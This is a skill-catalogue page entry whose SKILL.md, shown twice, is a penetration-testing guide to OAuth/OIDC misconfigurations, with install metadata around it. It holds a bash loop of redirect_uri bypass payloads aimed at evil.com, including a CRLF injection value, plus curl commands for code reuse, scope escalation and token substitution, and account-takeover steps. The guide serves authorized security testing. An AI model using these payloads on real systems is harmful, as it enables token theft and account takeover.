[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B6J8N4GFW12HAETV9B30FN":3,"skill-same:01M7B6J8N4GFW12HAETV9B30FN":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":13,"repositoryHtmlUrl":48,"repositoryHomepageUrl":6,"ownerHtmlUrl":49,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":50,"install":51,"resources":64},"01M7B6J8N4GFW12HAETV9B30FN","exploiting-oauth-misconfiguration",null,"Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-oauth-misconfiguration\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-oauth-misconfiguration\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-oauth-misconfiguration\ndescription: Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations\n  including redirect URI manipulation, token leakage, and authorization code theft\n  during security assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- oauth\n- oidc\n- authentication\n- web-security\n- authorization\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Exploiting OAuth Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication\n- When assessing \"Sign in with Google\u002FFacebook\u002FGitHub\" social login implementations\n- For testing single sign-on (SSO) flows between applications\n- When evaluating API authorization using OAuth bearer tokens\n- During security assessments of applications acting as OAuth providers or consumers\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement covering OAuth\u002FSSO flows\n- **Burp Suite Professional**: For intercepting OAuth redirect flows\n- **Browser with DevTools**: For monitoring redirect chains and token leakage\n- **Multiple test accounts**: On both the OAuth provider and the target application\n- **curl**: For manual OAuth flow testing\n- **Attacker-controlled server**: For receiving redirected tokens\u002Fcodes\n\n## Workflow\n\n### Step 1: Map the OAuth Flow and Configuration\n\nIdentify the OAuth grant type, endpoints, and configuration.\n\n```bash\n# Discover OAuth\u002FOIDC configuration endpoints\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Foauth-authorization-server\" | jq .\n\n# Key endpoints to identify:\n# - Authorization endpoint: \u002Foauth\u002Fauthorize\n# - Token endpoint: \u002Foauth\u002Ftoken\n# - UserInfo endpoint: \u002Foauth\u002Fuserinfo\n# - JWKS endpoint: \u002Foauth\u002Fcerts\n\n# Capture the authorization request in Burp\n# Typical authorization code flow:\n# GET \u002Foauth\u002Fauthorize?\n#   response_type=code&\n#   client_id=CLIENT_ID&\n#   redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&\n#   scope=openid profile email&\n#   state=RANDOM_STATE\n\n# Identify the grant type:\n# - Authorization Code: response_type=code\n# - Implicit: response_type=token\n# - Hybrid: response_type=code+token\n\n# Check for PKCE parameters:\n# - code_challenge=...\n# - code_challenge_method=S256\n```\n\n### Step 2: Test Redirect URI Manipulation\n\nAttempt to redirect the authorization code or token to an attacker-controlled domain.\n\n```bash\n# Test open redirect via redirect_uri\n# Original: redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback\n# Attempt various bypasses:\n\nBYPASSES=(\n  \"https:\u002F\u002Fevil.com\"\n  \"https:\u002F\u002Fapp.example.com.evil.com\u002Fcallback\"\n  \"https:\u002F\u002Fapp.example.com@evil.com\u002Fcallback\"\n  \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002F..\u002Fevil.com\"\n  \"https:\u002F\u002Fevil.com\u002F?.app.example.com\"\n  \"https:\u002F\u002Fevil.com#.app.example.com\"\n  \"https:\u002F\u002Fapp.example.com\u002Fcallback?next=https:\u002F\u002Fevil.com\"\n  \"https:\u002F\u002FAPP.EXAMPLE.COM\u002Fcallback\"\n  \"https:\u002F\u002Fapp.example.com\u002Fcallback%0d%0aLocation:https:\u002F\u002Fevil.com\"\n  \"https:\u002F\u002Fapp.example.com\u002FCALLBACK\"\n  \"http:\u002F\u002Fapp.example.com\u002Fcallback\"\n  \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002Fother-path\"\n)\n\nfor uri in \"${BYPASSES[@]}\"; do\n  echo -n \"Testing: $uri -> \"\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Fauthorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$uri'))\")&scope=openid&state=test123\")\n  echo \"$status\"\ndone\n\n# If redirect_uri validation is path-based, try path traversal\n# redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002Fattacker-controlled-path\n\n# If subdomain matching, try subdomain takeover + redirect\n# redirect_uri=https:\u002F\u002Fabandoned-subdomain.example.com\u002F\n```\n\n### Step 3: Test for Authorization Code and Token Theft\n\nExploit leakage vectors for stealing OAuth tokens and codes.\n\n```bash\n# Test token leakage via Referer header\n# If implicit flow returns token in URL fragment:\n# https:\u002F\u002Fapp.example.com\u002Fcallback#access_token=TOKEN\n# And the callback page loads external resources,\n# the Referer header may leak the URL with the token\n\n# Test for authorization code leakage via Referer\n# After receiving code at callback, check if:\n# 1. Page loads external images\u002Fscripts\n# 2. Page has links to external sites\n# Burp: Check Proxy History for Referer headers containing \"code=\"\n\n# Test authorization code reuse\nCODE=\"captured_auth_code\"\n# First use\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=authorization_code&code=$CODE&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&client_id=APP_ID&client_secret=APP_SECRET\"\n\n# Second use (should fail but may not)\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=authorization_code&code=$CODE&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&client_id=APP_ID&client_secret=APP_SECRET\"\n\n# Test state parameter absence\u002Fpredictability\n# Remove state parameter entirely\ncurl -s \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Fauthorize?response_type=code&client_id=APP_ID&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&scope=openid\"\n# If no error, CSRF on OAuth flow is possible\n```\n\n### Step 4: Test Scope Escalation and Privilege Manipulation\n\nAttempt to gain more permissions than intended.\n\n```bash\n# Request additional scopes beyond what's needed\ncurl -s \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Fauthorize?response_type=code&client_id=APP_ID&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&scope=openid+profile+email+admin+write+delete&state=test123\"\n\n# Test with elevated scope on token exchange\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=authorization_code&code=$CODE&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin\"\n\n# Test token with manipulated claims\n# If JWT access token, try modifying claims (see JWT testing skill)\n\n# Test refresh token scope escalation\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write\"\n\n# Test client credential flow with elevated permissions\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin\"\n```\n\n### Step 5: Test for Account Takeover via OAuth\n\nExploit OAuth flows to take over victim accounts.\n\n```bash\n# Test missing email verification on OAuth provider\n# 1. Create an account on the OAuth provider with victim's email\n# 2. OAuth login to the target app\n# 3. If the app trusts the unverified email, account linking occurs\n\n# Test pre-authentication account linking\n# 1. Register on target app with victim's email (no OAuth)\n# 2. Attacker links their OAuth account to victim's email\n# 3. Attacker can now login via OAuth to victim's account\n\n# CSRF on account linking\n# If \u002Foauth\u002Flink endpoint lacks CSRF protection:\n# 1. Attacker initiates OAuth flow, captures the auth code\n# 2. Craft a page that submits the code to victim's session\n# 3. Victim's account gets linked to attacker's OAuth account\n\n# Test token substitution\n# Use authorization code\u002Ftoken from one client_id with another\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https:\u002F\u002Fapp-b.example.com\u002Fcallback&client_id=APP_B_ID&client_secret=APP_B_SECRET\"\n```\n\n### Step 6: Test Client Secret and Token Security\n\nAssess the security of OAuth credentials and tokens.\n\n```bash\n# Check for exposed client secrets\n# Search JavaScript source code\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fstatic\u002Fapp.js\" | grep -i \"client_secret\\|clientSecret\\|client_id\"\n\n# Check mobile app decompilation for hardcoded secrets\n\n# Test token revocation\nACCESS_TOKEN=\"captured_access_token\"\n# Use the token\ncurl -s -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fme\"\n\n# Revoke the token\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Frevoke\" \\\n  -d \"token=$ACCESS_TOKEN&token_type_hint=access_token\"\n\n# Test if revoked token still works\ncurl -s -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fme\"\n\n# Test token lifetime\n# Decode JWT access token and check exp claim\necho \"$ACCESS_TOKEN\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .exp\n# Long-lived tokens (hours\u002Fdays) increase attack window\n\n# Check PKCE implementation\n# If public client without PKCE, authorization code interception is possible\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Authorization Code Flow** | Most secure OAuth flow; exchanges short-lived code for tokens server-side |\n| **Implicit Flow** | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |\n| **PKCE** | Proof Key for Code Exchange; prevents authorization code interception attacks |\n| **Redirect URI Validation** | Server-side validation that the redirect_uri matches registered values |\n| **State Parameter** | Random value binding the OAuth request to the user's session, preventing CSRF |\n| **Scope Escalation** | Requesting or obtaining more permissions than authorized |\n| **Token Leakage** | Exposure of OAuth tokens via Referer headers, logs, or browser history |\n| **Open Redirect** | Using OAuth redirect_uri as an open redirect to steal tokens |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting OAuth redirect chains and modifying parameters |\n| **OWASP ZAP** | Automated OAuth flow scanning |\n| **Postman** | Manual OAuth flow testing with environment variables |\n| **oauth-tools.com** | Online OAuth flow debugging and testing |\n| **jwt.io** | JWT token analysis for OAuth access tokens |\n| **Browser DevTools** | Monitoring network requests and redirect chains |\n\n## Common Scenarios\n\n### Scenario 1: Redirect URI Subdomain Bypass\nThe OAuth provider validates `redirect_uri` against `*.example.com`. An attacker finds a subdomain vulnerable to takeover (`old.example.com`), takes it over, and steals authorization codes redirected to it.\n\n### Scenario 2: Missing State Parameter CSRF\nThe OAuth login flow does not include or validate a `state` parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.\n\n### Scenario 3: Implicit Flow Token Theft\nThe application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.\n\n### Scenario 4: Authorization Code Reuse\nThe OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.\n\n## Output Format\n\n```\n## OAuth Security Assessment Report\n\n**Vulnerability**: Redirect URI Validation Bypass\n**Severity**: High (CVSS 8.1)\n**Location**: GET \u002Foauth\u002Fauthorize - redirect_uri parameter\n**OWASP Category**: A07:2021 - Identification and Authentication Failures\n\n### OAuth Configuration\n| Property | Value |\n|----------|-------|\n| Grant Type | Authorization Code |\n| PKCE | Not implemented |\n| State Parameter | Present but predictable |\n| Token Type | JWT (RS256) |\n| Token Lifetime | 1 hour |\n| Refresh Token | 30 days |\n\n### Findings\n| Finding | Severity |\n|---------|----------|\n| Redirect URI path traversal bypass | High |\n| Missing PKCE on public client | High |\n| Authorization code reusable | Medium |\n| State parameter uses sequential values | Medium |\n| Client secret exposed in JavaScript | Critical |\n| Token not revoked after password change | Medium |\n\n### Recommendation\n1. Implement strict redirect_uri validation with exact string matching\n2. Require PKCE for all clients (especially public\u002Fmobile clients)\n3. Invalidate authorization codes after first use\n4. Use cryptographically random state parameters tied to user sessions\n5. Migrate from implicit flow to authorization code flow with PKCE\n6. Never expose client secrets in client-side code\n```\n","# Exploiting OAuth Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication\n- When assessing \"Sign in with Google\u002FFacebook\u002FGitHub\" social login implementations\n- For testing single sign-on (SSO) flows between applications\n- When evaluating API authorization using OAuth bearer tokens\n- During security assessments of applications acting as OAuth providers or consumers\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement covering OAuth\u002FSSO flows\n- **Burp Suite Professional**: For intercepting OAuth redirect flows\n- **Browser with DevTools**: For monitoring redirect chains and token leakage\n- **Multiple test accounts**: On both the OAuth provider and the target application\n- **curl**: For manual OAuth flow testing\n- **Attacker-controlled server**: For receiving redirected tokens\u002Fcodes\n\n## Workflow\n\n### Step 1: Map the OAuth Flow and Configuration\n\nIdentify the OAuth grant type, endpoints, and configuration.\n\n```bash\n# Discover OAuth\u002FOIDC configuration endpoints\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Foauth-authorization-server\" | jq .\n\n# Key endpoints to identify:\n# - Authorization endpoint: \u002Foauth\u002Fauthorize\n# - Token endpoint: \u002Foauth\u002Ftoken\n# - UserInfo endpoint: \u002Foauth\u002Fuserinfo\n# - JWKS endpoint: \u002Foauth\u002Fcerts\n\n# Capture the authorization request in Burp\n# Typical authorization code flow:\n# GET \u002Foauth\u002Fauthorize?\n#   response_type=code&\n#   client_id=CLIENT_ID&\n#   redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&\n#   scope=openid profile email&\n#   state=RANDOM_STATE\n\n# Identify the grant type:\n# - Authorization Code: response_type=code\n# - Implicit: response_type=token\n# - Hybrid: response_type=code+token\n\n# Check for PKCE parameters:\n# - code_challenge=...\n# - code_challenge_method=S256\n```\n\n### Step 2: Test Redirect URI Manipulation\n\nAttempt to redirect the authorization code or token to an attacker-controlled domain.\n\n```bash\n# Test open redirect via redirect_uri\n# Original: redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback\n# Attempt various bypasses:\n\nBYPASSES=(\n  \"https:\u002F\u002Fevil.com\"\n  \"https:\u002F\u002Fapp.example.com.evil.com\u002Fcallback\"\n  \"https:\u002F\u002Fapp.example.com@evil.com\u002Fcallback\"\n  \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002F..\u002Fevil.com\"\n  \"https:\u002F\u002Fevil.com\u002F?.app.example.com\"\n  \"https:\u002F\u002Fevil.com#.app.example.com\"\n  \"https:\u002F\u002Fapp.example.com\u002Fcallback?next=https:\u002F\u002Fevil.com\"\n  \"https:\u002F\u002FAPP.EXAMPLE.COM\u002Fcallback\"\n  \"https:\u002F\u002Fapp.example.com\u002Fcallback%0d%0aLocation:https:\u002F\u002Fevil.com\"\n  \"https:\u002F\u002Fapp.example.com\u002FCALLBACK\"\n  \"http:\u002F\u002Fapp.example.com\u002Fcallback\"\n  \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002Fother-path\"\n)\n\nfor uri in \"${BYPASSES[@]}\"; do\n  echo -n \"Testing: $uri -> \"\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Fauthorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$uri'))\")&scope=openid&state=test123\")\n  echo \"$status\"\ndone\n\n# If redirect_uri validation is path-based, try path traversal\n# redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002Fattacker-controlled-path\n\n# If subdomain matching, try subdomain takeover + redirect\n# redirect_uri=https:\u002F\u002Fabandoned-subdomain.example.com\u002F\n```\n\n### Step 3: Test for Authorization Code and Token Theft\n\nExploit leakage vectors for stealing OAuth tokens and codes.\n\n```bash\n# Test token leakage via Referer header\n# If implicit flow returns token in URL fragment:\n# https:\u002F\u002Fapp.example.com\u002Fcallback#access_token=TOKEN\n# And the callback page loads external resources,\n# the Referer header may leak the URL with the token\n\n# Test for authorization code leakage via Referer\n# After receiving code at callback, check if:\n# 1. Page loads external images\u002Fscripts\n# 2. Page has links to external sites\n# Burp: Check Proxy History for Referer headers containing \"code=\"\n\n# Test authorization code reuse\nCODE=\"captured_auth_code\"\n# First use\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=authorization_code&code=$CODE&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&client_id=APP_ID&client_secret=APP_SECRET\"\n\n# Second use (should fail but may not)\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=authorization_code&code=$CODE&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&client_id=APP_ID&client_secret=APP_SECRET\"\n\n# Test state parameter absence\u002Fpredictability\n# Remove state parameter entirely\ncurl -s \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Fauthorize?response_type=code&client_id=APP_ID&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&scope=openid\"\n# If no error, CSRF on OAuth flow is possible\n```\n\n### Step 4: Test Scope Escalation and Privilege Manipulation\n\nAttempt to gain more permissions than intended.\n\n```bash\n# Request additional scopes beyond what's needed\ncurl -s \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Fauthorize?response_type=code&client_id=APP_ID&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&scope=openid+profile+email+admin+write+delete&state=test123\"\n\n# Test with elevated scope on token exchange\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=authorization_code&code=$CODE&redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin\"\n\n# Test token with manipulated claims\n# If JWT access token, try modifying claims (see JWT testing skill)\n\n# Test refresh token scope escalation\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write\"\n\n# Test client credential flow with elevated permissions\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin\"\n```\n\n### Step 5: Test for Account Takeover via OAuth\n\nExploit OAuth flows to take over victim accounts.\n\n```bash\n# Test missing email verification on OAuth provider\n# 1. Create an account on the OAuth provider with victim's email\n# 2. OAuth login to the target app\n# 3. If the app trusts the unverified email, account linking occurs\n\n# Test pre-authentication account linking\n# 1. Register on target app with victim's email (no OAuth)\n# 2. Attacker links their OAuth account to victim's email\n# 3. Attacker can now login via OAuth to victim's account\n\n# CSRF on account linking\n# If \u002Foauth\u002Flink endpoint lacks CSRF protection:\n# 1. Attacker initiates OAuth flow, captures the auth code\n# 2. Craft a page that submits the code to victim's session\n# 3. Victim's account gets linked to attacker's OAuth account\n\n# Test token substitution\n# Use authorization code\u002Ftoken from one client_id with another\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Ftoken\" \\\n  -d \"grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https:\u002F\u002Fapp-b.example.com\u002Fcallback&client_id=APP_B_ID&client_secret=APP_B_SECRET\"\n```\n\n### Step 6: Test Client Secret and Token Security\n\nAssess the security of OAuth credentials and tokens.\n\n```bash\n# Check for exposed client secrets\n# Search JavaScript source code\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fstatic\u002Fapp.js\" | grep -i \"client_secret\\|clientSecret\\|client_id\"\n\n# Check mobile app decompilation for hardcoded secrets\n\n# Test token revocation\nACCESS_TOKEN=\"captured_access_token\"\n# Use the token\ncurl -s -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fme\"\n\n# Revoke the token\ncurl -s -X POST \"https:\u002F\u002Fauth.target.example.com\u002Foauth\u002Frevoke\" \\\n  -d \"token=$ACCESS_TOKEN&token_type_hint=access_token\"\n\n# Test if revoked token still works\ncurl -s -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fme\"\n\n# Test token lifetime\n# Decode JWT access token and check exp claim\necho \"$ACCESS_TOKEN\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .exp\n# Long-lived tokens (hours\u002Fdays) increase attack window\n\n# Check PKCE implementation\n# If public client without PKCE, authorization code interception is possible\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Authorization Code Flow** | Most secure OAuth flow; exchanges short-lived code for tokens server-side |\n| **Implicit Flow** | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |\n| **PKCE** | Proof Key for Code Exchange; prevents authorization code interception attacks |\n| **Redirect URI Validation** | Server-side validation that the redirect_uri matches registered values |\n| **State Parameter** | Random value binding the OAuth request to the user's session, preventing CSRF |\n| **Scope Escalation** | Requesting or obtaining more permissions than authorized |\n| **Token Leakage** | Exposure of OAuth tokens via Referer headers, logs, or browser history |\n| **Open Redirect** | Using OAuth redirect_uri as an open redirect to steal tokens |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting OAuth redirect chains and modifying parameters |\n| **OWASP ZAP** | Automated OAuth flow scanning |\n| **Postman** | Manual OAuth flow testing with environment variables |\n| **oauth-tools.com** | Online OAuth flow debugging and testing |\n| **jwt.io** | JWT token analysis for OAuth access tokens |\n| **Browser DevTools** | Monitoring network requests and redirect chains |\n\n## Common Scenarios\n\n### Scenario 1: Redirect URI Subdomain Bypass\nThe OAuth provider validates `redirect_uri` against `*.example.com`. An attacker finds a subdomain vulnerable to takeover (`old.example.com`), takes it over, and steals authorization codes redirected to it.\n\n### Scenario 2: Missing State Parameter CSRF\nThe OAuth login flow does not include or validate a `state` parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.\n\n### Scenario 3: Implicit Flow Token Theft\nThe application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.\n\n### Scenario 4: Authorization Code Reuse\nThe OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.\n\n## Output Format\n\n```\n## OAuth Security Assessment Report\n\n**Vulnerability**: Redirect URI Validation Bypass\n**Severity**: High (CVSS 8.1)\n**Location**: GET \u002Foauth\u002Fauthorize - redirect_uri parameter\n**OWASP Category**: A07:2021 - Identification and Authentication Failures\n\n### OAuth Configuration\n| Property | Value |\n|----------|-------|\n| Grant Type | Authorization Code |\n| PKCE | Not implemented |\n| State Parameter | Present but predictable |\n| Token Type | JWT (RS256) |\n| Token Lifetime | 1 hour |\n| Refresh Token | 30 days |\n\n### Findings\n| Finding | Severity |\n|---------|----------|\n| Redirect URI path traversal bypass | High |\n| Missing PKCE on public client | High |\n| Authorization code reusable | Medium |\n| State parameter uses sequential values | Medium |\n| Client secret exposed in JavaScript | Critical |\n| Token not revoked after password change | Medium |\n\n### Recommendation\n1. Implement strict redirect_uri validation with exact string matching\n2. Require PKCE for all clients (especially public\u002Fmobile clients)\n3. Invalidate authorization codes after first use\n4. Use cryptographically random state parameters tied to user sessions\n5. Migrate from implicit flow to authorization code flow with PKCE\n6. Never expose client secrets in client-side code\n```\n",{"name":5,"tags":24,"author":31,"domain":32,"license":14,"version":33,"nist_csf":34,"subdomain":39,"description":7,"mitre_attack":40},[25,26,27,28,29,30],"penetration-testing","oauth","oidc","authentication","web-security","authorization","mahipal","cybersecurity","1.0",[35,36,37,38],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[41,42,43,44],"T1190","T1059.007","T1505.003","T1083","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-oauth-misconfiguration","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-oauth-misconfiguration",{"tool":57,"command":58},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-oauth-misconfiguration",{"tool":60,"command":61},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-oauth-misconfiguration","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-oauth-misconfiguration\u002FSKILL.md",true,[65,69,75],{"path":66,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fapi-reference.md","REFERENCE","参考文档",2039,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-oauth-misconfiguration\u002Freferences\u002Fapi-reference.md",{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"scripts\u002Fagent.py","SCRIPT","脚本",8555,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-oauth-misconfiguration\u002Fscripts\u002Fagent.py",[82,90,97,104,111,118],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this 